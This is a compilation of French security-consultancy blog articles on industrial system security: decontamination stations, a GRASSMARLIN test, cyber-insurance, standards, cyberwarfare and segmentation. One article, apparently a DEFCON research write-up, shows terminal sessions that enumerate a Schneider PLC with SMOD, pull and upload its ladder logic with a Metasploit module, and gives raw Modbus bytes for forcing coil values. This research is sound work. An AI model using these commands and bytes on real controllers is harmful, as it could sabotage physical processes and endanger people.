En outre, il est nécessaire de prendre des précautions en vérifiant que la solution a été durcie et que seules les fonctions utiles sont disponibles, notamment au niveau du système d’exploitation. Cela serait un comble que l’outil de décontamination des clés soit lui-même le vecteur de contaminations de celles-ci !

Enfin, il est préférable que les rapports et journaux d’évènement générés puisse être envoyé dans un format standard type Syslog, centralisés et analysés par un SIEM déjà en place afin de détecter et de tracer toutes activités suspectes.

En conclusion, l’implémentation doit faire l’objet d’une conduite du changement auprès des personnes qui utiliseront réellement la borne tous les jours

Il existe bien des solutions techniques qui, en analysant et décontaminant ces périphériques, permettent de réduire l’exposition par les médias amovibles des réseaux industriels. Il y a 2 facteurs de succès visibles à 1^ère vue pour une bonne implémentation :

• Une solution pensée aux cas d’usage métier avec les utilisateurs finaux ;
• Une solution où les aspects d’administration, de mise à jour et de sécurité ont été étudiés en amont.

A ceux-ci s’ajoute un 3^ème facteur de succès : l’accompagnement au changement qui doit s’assurer de la bonne intégration du nouvel outil aux processus existants et un dialogue avec les utilisateurs finaux.

Pour compléter ce dispositif, il est nécessaire de formaliser une procédure en cas de découverte d’un virus ou toute situation anormale. Détecter n’est finalement que le 1^er pas vers une réaction adaptée.

Cet article Outils de décontamination de médias amovibles – Les facteurs de succès pour un gain de sécurité effectif et un déploiement réussi est apparu en premier sur RiskInsight.

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

• Insérons le fichier « .apx » dans l’archive

root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#

• Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Informations sur le projet dans Unity pro

 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

La valeur de forçage est déterminée par le dernier octet :

• 0x03 pour 0
• 0x02 pour 1
• 0x04 pour annuler le forçage

Conclusion et sécurisation

Cet article Fun with Modbus 0x5A est apparu en premier sur RiskInsight.

La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.
C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.

Présentation de GRASSMARLIN

GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (https://github.com/iadgov/GRASSMARLIN).
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:

• Les équipements présents
• Les communications existantes entre les équipements
• Des méta-informations obtenues à partir des communications (localisation, constructeurs)

L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : https://github.com/iadgov/GRASSMARLIN/releases/latest.

Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.

Fonctionnement de Grassmarlin

GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :

• La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.
• La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.

La détection passive

La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.

Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.

Vue logique

Dans cette vue, la topologie du réseau se présente comme suit :

La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :

Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :

Signatures protocolaires

GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.
Chaque signature peut être composée de deux types d’élément :

• L’élément Filter (ou filtre) qui décrit un attribut à détecter.
• L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.

Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :

Figure 5 : Exemple de signature MODBUS

Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :

Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor – afin de permettre une création plus aisée de signatures :

Vue physique

La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.

Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :

• “show running-config”
• “show ip arp” (OU) “show mac address-table”
• “show interfaces”

Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.

Partage de données

L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export

• L’exportation des vues sous format d’images (PNG).
• L’exportation des données sous format XML :
  • Enregistre l’ensemble de l’arbre de connexion de la vue logique.
  • Ces données peuvent être utilisées comme des données de session lors de prochaine importation.
• L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.

Tests sur banc d’essai

Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.

Présentation banc d’essai

Le banc d’essai simule un aiguillage de train et est composé de :

• 1 interface homme/machine (IHM) Siemens ;
• 1 automate Siemens ;
• 2 automates Schneider ;
• 1 switch manageable.

Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.

Réalisation des tests

Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :

Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :

Cependant, certaines limitations ont pu être observées :

• La non-concurrence des signatures
  Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.
• Le manque de verbosité de certaines signatures
  Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.
• Une analyse des échanges peu aboutie
  GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.

Conclusion

D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.
En comparaison un autre outil nommé NetworkMiner permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : nmap, p0f et Ettercap . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.

Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).

Cet article Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels est apparu en premier sur RiskInsight.

Pourquoi assurer son SI industriel ?

On définit les systèmes d’information industriels comme des systèmes « logiques » permettant de piloter des outils de production « physiques » (chaînes de montage, machines-outils, fours, scanners médicaux, climatisations, aiguillages, pipelines…). De plus en plus ouverts, ils se positionnent comme un intermédiaire entre le système d’information « classique » de l’entreprise, et sa chaine de production physique.

De par son positionnement clé pour l’entreprise, la sensibilité des données et systèmes qu’il manipule et son ouverture accrue sur le SI de l’entreprise (voire parfois sur internet), le SI industriel devient de plus en plus souvent la cible d’attaques aux motivations différentes (destruction, espionnage, gain financier…). Les récentes attaques révélées en Allemagne par le BSI avec la compromission du système de contrôle du haut fourneau ou en Corée du Sud avec le vol de données sur les réacteurs nucléaires ne font que confirmer la probabilité d’attaques de ces systèmes.

En plus des dommages matériels (destruction de ses outils de production) et immatériels (frais de reconstruction des données, frais d’expertise…) pour l’entreprise, les conséquences de ces attaques peuvent être considérables et dépasser le cadre même de l’entreprise : fuite radioactive, déraillement d’un train…

Face à ce risque majeur, et l’impossibilité à la fois d’empêcher la totalité des attaques et d’absorber l’ensemble des impacts, le besoin d’assurabilité de ces systèmes se fait ressentir.

Les assurances traditionnelles ne répondent pas au besoin

Les assurances traditionnelles, et notamment les assurances « Dommages », peuvent répondre à certains risques liés aux SI industriels. Elles permettent notamment de couvrir les dommages matériels liés à une panne informatique, ou à un incendie. De même, les polices « Responsabilité Civile » peuvent couvrir les dommages aux tiers suite à un incident sur le SI industriel.

Pour autant ces contrats traditionnels trouvent parfois leurs limites dans un contexte cyber.

En effet, ces assurances couvrent très rarement les dommages immatériels, quel que soit le scénario de sinistre, et encore moins si le scénario est une cyberattaque. De fait, les frais de reconstitution des données et d’expertise technique (par exemple pour les investigations numériques suite à une attaque) sont rarement couverts par ces assurances.

De plus, la plupart de ces contrats ont des exclusions liées la cause du sinistre et excluent les cyberattaques. Il est parfois possible de « racheter » ces exclusions moyennant une hausse de la prime annuelle, mais ce n’est pas toujours le cas et la couverture se limite quasiment toujours aux dommages matériels.

La cyberassurance est-elle la solution ?

Se présentant comme l’assurance des risques cyber, on pourrait naturellement imaginer qu’elle couvre complètement les besoins d’assurance des SI industriels relatifs au risque de cyberattaque. Malheureusement, il n’en est rien : si certains contrats commencent à proposer des solutions couvrant la particularité logique/physique des SI industriels, la plupart n’y répond que partiellement.

Le premier frein à la couverture totale est le fait que la cyberassurance couvre majoritairement les dommages immatériels, puisque destinée principalement aux systèmes d’information « classiques ». En effet, l’impact naturel associé à une cyberattaque est une atteinte aux données, et non au matériel. Avec cette approche, de nombreux frais sont couverts : frais de reconstruction des données, frais d’expertise, frais de notification, frais de justice…. Pour autant, l’ensemble des dommages matériels, et notamment sur les systèmes physiques industriels détruits, ne sont pratiquement jamais couverts, ce qui entraine un manque notable dans la couverture du risque pour un SI industriel, et peut ainsi freiner la souscription d’une cyberassurance.

Par ailleurs, au vu des impacts importants liés aux SI industriels qui peuvent dépasser le cadre même de l’entreprise, certains assureurs excluent directement dans leur police la couverture de l’ensemble des frais liés à ces systèmes, qu’ils soient immatériels ou matériels. Le risque n’est alors pas (ou peu) couvert.

Une évolution en vue ?

Cependant, avec la demande croissante des acteurs de l’industrie, les cyberassureurs commencent à intégrer la couverture des dommages matériels (voire humains) à leur police. Pour autant, il est à noter que des sous-limites (limitation de garantie pour certains frais) contraignantes y sont souvent associées, ce qui peut parfois en limiter considérablement l’intérêt. Cependant, dans un marché fortement concurrentiel et compte tenu des impacts associés, cet argument peut rapidement apparaitre comme différenciateur.

Il existe un « vide » dans la couverture assurantielle des risques cyber pour les systèmes d’information industriels. Les assurances traditionnelles montrent un certain nombre de limites en excluant souvent les scénarios cyber, et a contrario les cyberassurances couvrent rarement les dommages matériels, pourtant centre de coût clé des SI industriels. Pour autant, les cyberassurances commencent à proposer des solutions avec une couverture plus globale incluant les dommages matériels. Mais la demande doit continuer d’augmenter et le marché se démocratiser pour atteindre une couverture optimale des SI industriels. Pour 2016 ?

Cet article Assurer son système d’information industriel contre une cyberattaque, c’est possible ? est apparu en premier sur RiskInsight.

Une multitude de textes

La liste est longue, c’est pourquoi il conviendra de s’appuyer sur le (ou les) référentiel(s) le(s) plus adapté(s) : secteur, niveau de criticité de son installation. À ce titre, le CLUSIF, par l’intermédiaire du groupe de travail sur la sécurité des systèmes industriels, animé notamment par Solucom, a publié un panorama des référentiels en la matière. Pas moins d’une cinquantaine de documents ont été analysés et des fiches de lecture permettent d’en avoir une vision synthétique. Les documents ont été répertoriés et catégorisés : des plus introductifs aux plus exhaustifs, allant de quelques pages à plus d’un millier, le guide du CLUSIF précise à quels lecteurs ils sont le plus adaptés (filières SSI ou SII, concepteur/intégrateur/mainteneur).

Les objectifs de ces référentiels sont multiples. Ils peuvent être utilisés comme un véritable outil pour réaliser des audits de sites, définir sa stratégie et les actions associées ou plus simplement évaluer son degré d’alignement et de conformité au standard retenu. De tous, l’IEC 62443 est sans doute le référentiel le plus connu du milieu et propose de nombreux guides qui tentent d’adresser l’ensemble des pans de la sécurité de ces SI. L’ISO a également apporté sa pierre à l’édifice avec la récente norme ISO 27019.

Les États publient également des guides nationaux. Au Royaume-Uni, le CPNI (Center for the Protection of National Infrastructure) propose plusieurs guides thématiques autour de la sécurité des SI industriels. Aux États-Unis, plusieurs entités (DHS, DoE…) ont élaboré des guides sectoriels. Enfin en France, l’ANSSI a également publié ses propres guides.

Certains secteurs ont apporté une réponse propre à leurs spécificités respectives comme l’AIEA qui propose son guide pour les installations nucléaires ou encore le NERC CIP qui oblige les différents opérateurs électriques à être conformes à ses standards.

La réglementation : arme d’amélioration massive de la sécurité ?

Cette abondance de littérature montre qu’il n’y a pas de réel consensus en la matière aujourd’hui. De plus, l’application des bonnes pratiques édictées dans ces documents ne reste finalement qu’un acte de volontariat de la part des entités concernées. Comme cela est souvent le cas, l’adoption de pratiques généralisées passe par la mise en place d’une réglementation (SEVESO par exemple). Et c’est bien ce qu’envisage l’État français au travers de la LPM (Loi de Programmation Militaire) : rendre obligatoire l’adoption de certaines mesures de cybersécurité pour les OIV.

Mais ces avancées françaises ne doivent pas faire oublier la nécessité d’une approche plus globale, a minima européenne. En effet, au-delà des mesures organisationnelles et techniques, La LPM prévoit également le recours à des produits labellisés. Il ne s’agit là que d’un schéma franco-français. Les efforts requis pour obtenir cette labélisation peuvent apparaître comme un frein pour des constructeurs/éditeurs à portée internationale. Avoir une reconnaissance européenne ou internationale de la sécurité de leur produit est donc un élément déterminant et qui aboutira à un réel retour sur investissement.

Dans ce domaine, des directives européennes sont également attendues, en particulier celle dédiée à la sécurité des réseaux et des infrastructures (NIS). Elles légitimeront davantage les initiatives sur le territoire français. L’ENISA a d’ailleurs publié les bases d’un schéma de certification de la sécurité des Smart Grid à portée européenne. Avec une approche progressive, ce que tend à faire l’État français, la réglementation obtiendra l’adhésion des industriels. La tendance va vers une adaptation des mesures avec une personnalisation opérateur par opérateur sans pour autant s’éloigner d’une cible ambitieuse. La publication prochaine des décrets d’application, puis des arrêtés de la LPM, permettra de le vérifier.

Enfin, pour ceux qui ne sont pas immédiatement concernés en tant qu’opérateur critique, nul doute qu’ils bénéficieront de l’élan global de ces démarches et pourront bien évidement s’en inspirer en complément des guides, normes et standards déjà existants.

Cet article Normes, standards et réglementations : de réels leviers pour la sécurisation des SI Industriels ? est apparu en premier sur RiskInsight.

Indubitablement, nous sommes entrés dans l’ère des cyberconflits

Les incidents cyber ont beaucoup occupé l’espace médiatique ces dernières semaines.
Le piratage de Sony a pour sa part marqué un tournant dans la portée des attaques informatiques. Celui-ci a détruit la quasi-totalité du système d’information de l’entreprise et a contraint ses employés à revenir au papier et au crayon pour travailler. Une vaste partie des données internes de l’entreprise a également été mise en pâture sur Internet. Jusqu’alors, le but de telles attaques était généralement de dérober des capitaux ou des secrets industriels. Mais dans ce cas, l’objectif était clairement de mettre l’entreprise à genoux. L’affaire a d’ailleurs pris un tournant politique, les États-Unis ayant ouvertement accusé la Corée du Nord de l’attaque.

Les conflits cyber entre États sont largement répandus aujourd’hui. En 2007, des sites du gouvernement, de banques, médias et opérateurs téléphoniques estoniens ont été victimes d’attaques par déni de service. La Russie est fortement soupçonnée d’être à l’origine de ces offensives ayant paralysé le pays. En 2013, ce sont les systèmes d’information de banques et de chaînes de télévision sud coréennes qui ont été bloqués par des attaques émanant de Corée du Nord. Plus récemment, l’opération djihadiste #OpFrance, qui visait à défacer un maximum de sites français, a montré à tous que désormais les conflits se propagent également dans le monde virtuel.

Pour le département de la Défense des États-Unis mais aussi pour le Ministère de Défense en France, le cyberespace est d’ailleurs devenu un cinquième domaine d’intervention, après l’air, la terre, la mer et l’espace. L’espace cyber est donc clairement devenu un terrain de luttes permanentes…mais ces affrontements peuvent-ils être considérés comme des actes de guerre ?

Qu’est-ce que la cyberguerre ?

L’importance d’une définition précise du terme de « cyberguerre » n’est pas uniquement d’ordre linguistique. Derrière cette notion se cache un ensemble de questions juridiques et diplomatiques complexes. L’état de guerre impose en effet l’application de régimes légaux et de règles de rapports mutuels entre États bien spécifiques. Dans le cas de l’attaque contre Sony, Barack Obama a fait redescendre la tension en précisant qu’il ne s’agissait pas d’un acte cyberguerre mais plutôt de « cybervandalisme ». Et cette nuance n’est pas dénuée d’importance : en cas de guerre avérée, les clauses des contrats d’assurance auraient empêché toute indemnisation de l’entreprise !

La question de la contre-attaque se pose également : à partir de quand est-elle autorisée, et quelles formes peut-elle prendre ? Quels objectifs peuvent légitimement être visés par des cyberattaques ? Ce sont précisément les questions auxquelles a tenté de répondre en 2012 le Centre d’excellence de cyberdéfense coopérative de l’OTAN (CCDCOE) de Tallin, en publiant un manuel juridique de cyberguerre. La position défendue est que de manière générale, le Droit des conflits armés établi lors des conventions de La Haye et de Genève s’étend au monde cyber.

Une attaque informatique pourrait donc constituer un acte de guerre si ses conséquences sont comparables à celles d’un conflit armé traditionnel, c’est-à-dire si son but est de « de blesser ou tuer des personnes, ou d’endommager ou détruire des objets ». Cela signifie qu’une cyberattaque serait un acte de guerre à partir du moment où elle a des répercussions directes sur le monde physique.

Et c’est précisément le cas des attaques contre les systèmes d’information industriels, qui pilotent les systèmes de production de grands groupes manufacturiers, ou des infrastructures telles que des réseaux électriques ou des barrages. De telles agressions pourraient avoir un lourd coût humain et environnemental, et c’est pourquoi les États imposent souvent des mesures de sécurité strictes à leurs Opérateurs d’Importance Vitale (OIV) ou aux sites dangereux classés Seveso. En France, les travaux en cours sur la Loi de Programmation Militaire visent à préciser ces exigences. Le manuel entend également fixer des limites éthiques à la cyberguerre. Il préconise par exemple l’interdiction d’attaquer des hôpitaux ou des centrales nucléaires.

Attaques de SI industriels

Les rédacteurs du manuel de Tallinn estiment qu’« aucun incident n’a été de façon claire et publique caractérisé par la communauté internationale comme ayant atteint le seuil d’une agression armée ». Pourtant, les attaques contre les systèmes d’information industriels sont aujourd’hui une réalité. En 2013 par exemple, des pirates se sont introduits sur le réseau de production d’une aciérie allemande et ont détruit plusieurs équipements en arrêtant les hauts fourneaux de façon inopinée.

Mais c’est sans conteste l’infection de systèmes de contrôle de turbines et de centrifugeuses d’enrichissement en uranium iraniennes par le ver Stuxnet qui ressemble le plus à un acte de cyberguerre. Ce malware d’une complexité inédite aurait été mis au point par Israël et par les États-Unis, et a considérablement retardé le programme nucléaire iranien. Si le CCDCOE ne considère pas cette attaque comme un acte de guerre, les experts sont divisés sur la question et certains considèrent qu’il s’agit d’un recours à la force illégal selon le droit international.
Par ailleurs, les principes de proportionnalité des contre-attaques et de protection des populations civiles préconisés par le droit international sont difficiles à respecter en cas de cyberguerre. Les attaques sont généralement difficiles à confiner : dans le cas de Stuxnet, le ver a été retrouvé en Chine, en Allemagne et en Indonésie.

Certains considèrent qu’une nouvelle législation est à mettre en place pour cadrer les affrontements cyber. Le sommet de l’OTAN au Pays de Galles en 2014 a d’ailleurs fait ressortir des positions différentes de celles défendues dans le guide de Tallinn. Il a été affirmé que « les cyberattaques peuvent atteindre un seuil susceptible de menacer la prospérité, la sécurité et la stabilité des États et de la zone euro-atlantique [et] leur impact sur les sociétés modernes pourrait être tout aussi néfaste que celui d’une attaque conventionnelle ». Comment en effet ne pas parler de guerre dans le cas d’une attaque d’une place financière, qui pourrait provoquer une crise économique aux conséquences catastrophiques ?

Ces désaccords montrent à quel point les limites restent floues. Les lois internationales sont généralement dictées par la conduite et par les réactions des États : les véritables règles de la cyberguerre mettront du temps à être établies et risquent d’évoluer avec le temps. Quoi qu’il en soit, nous observons dès à présent que les Systèmes d’Information d’importance vitale seront des cibles privilégiés de ces conflits nouveaux. La mise en œuvre de stratégies de cyberdéfense apparaît donc comme un impératif pour les entreprises et les États, qui ne doivent pas attendre la survenue d’une véritable cyberguerre pour se protéger.

Cet article Sommes-nous entrés dans l’ère des cyberguerres ? est apparu en premier sur RiskInsight.

Cloisonnement et segmentation : standards et réglementations se mettent d’accord

Pour traiter ces risques, trois méthodologies issues de l’IEC 62443, du NIST SP-800-82 et du guide de l’ANSSI, sont usuellement retenues.

L’IEC 62443 (ISA99) a établi les concepts de « zones » et de « conduits » avec pour chacun un niveau de sécurité (Security Level – SL) et des règles bien spécifiques. Le découpage en zones peut s’établir d’un point de vue physique (bâtiment, atelier) ou logique (répartition par processus industriel ou par fonction).

Toutes les zones communiquent entres elles par un conduit et peuvent également être imbriquées, dans une logique de défense en profondeur. Selon le niveau de criticité des zones et des conduits, des règles de sécurité sont définies et peuvent être plus ou moins restrictives. La détermination du niveau de sécurité d’une zone (ou d’un conduit) s’effectue au travers d’une analyse de risque. Concrètement, il correspond au niveau de robustesse des mesures de sécurité à implémenter permettant de faire face à des menaces plus ou moins évoluées. Pour l’IEC, il s’agira de segmenter et d’isoler physiquement les SI Industriels des SI de gestion et aussi de cloisonner les systèmes critiques (systèmes de sûreté) des systèmes de conduite des procédés.

Le NIST, au travers de sa publication spé- ciale pour les systèmes industriels, expose de bonnes pratiques d’architectures sécurisées sans promouvoir un modèle en particulier. Il consacre un chapitre entier au thème de la sécurisation des architectures des SI Industriels. Il met en avant le cloisonnement entre SI de gestion et SI Industriels en proposant des architectures type à base de DMZ, de firewall voire de diode. De bonnes pratiques et une matrice de flux type sont même proposées avec un focus pour des flux plus spécifiques.

En France, l’ANSSI prévoit de catégoriser les SI Industriels en 3 classes distinctes selon leur criticité. Trois niveaux sont définis ; la détermination du niveau pour une installation s’effectue au travers de critères tels que connectivité, fonctionnalités, niveau d’exposition, attractivité pour un attaquant, vraisemblance et impacts en cas d’attaque. Pour chacune des classes, des règles plus ou moins strictes font émerger entre autres des principes forts d’architectures sécurisées. Cette démarche peut être itérative. Il est possible de découper l’installation industrielle en plusieurs zones et d’établir pour chacune d’elles son niveau de classe. Cela rejoint l’approche de l’IEC 62443 au détail près qu’ici, la méthodologie de l’ANSSI établit les niveaux de classe en priorité au regard des impacts pour la population, l’environnement et l’économie nationale sans se soucier de l’impact direct pour l’entreprise concernée.

Quelle que soit la méthodologie mise en œuvre, le constat final reste le même : segmentation et cloisonnement constituent des briques essentielles en vue de protéger les SI Industriels. Mais l’expérience montre que segmenter et cloisonner n’est pas toujours simple…

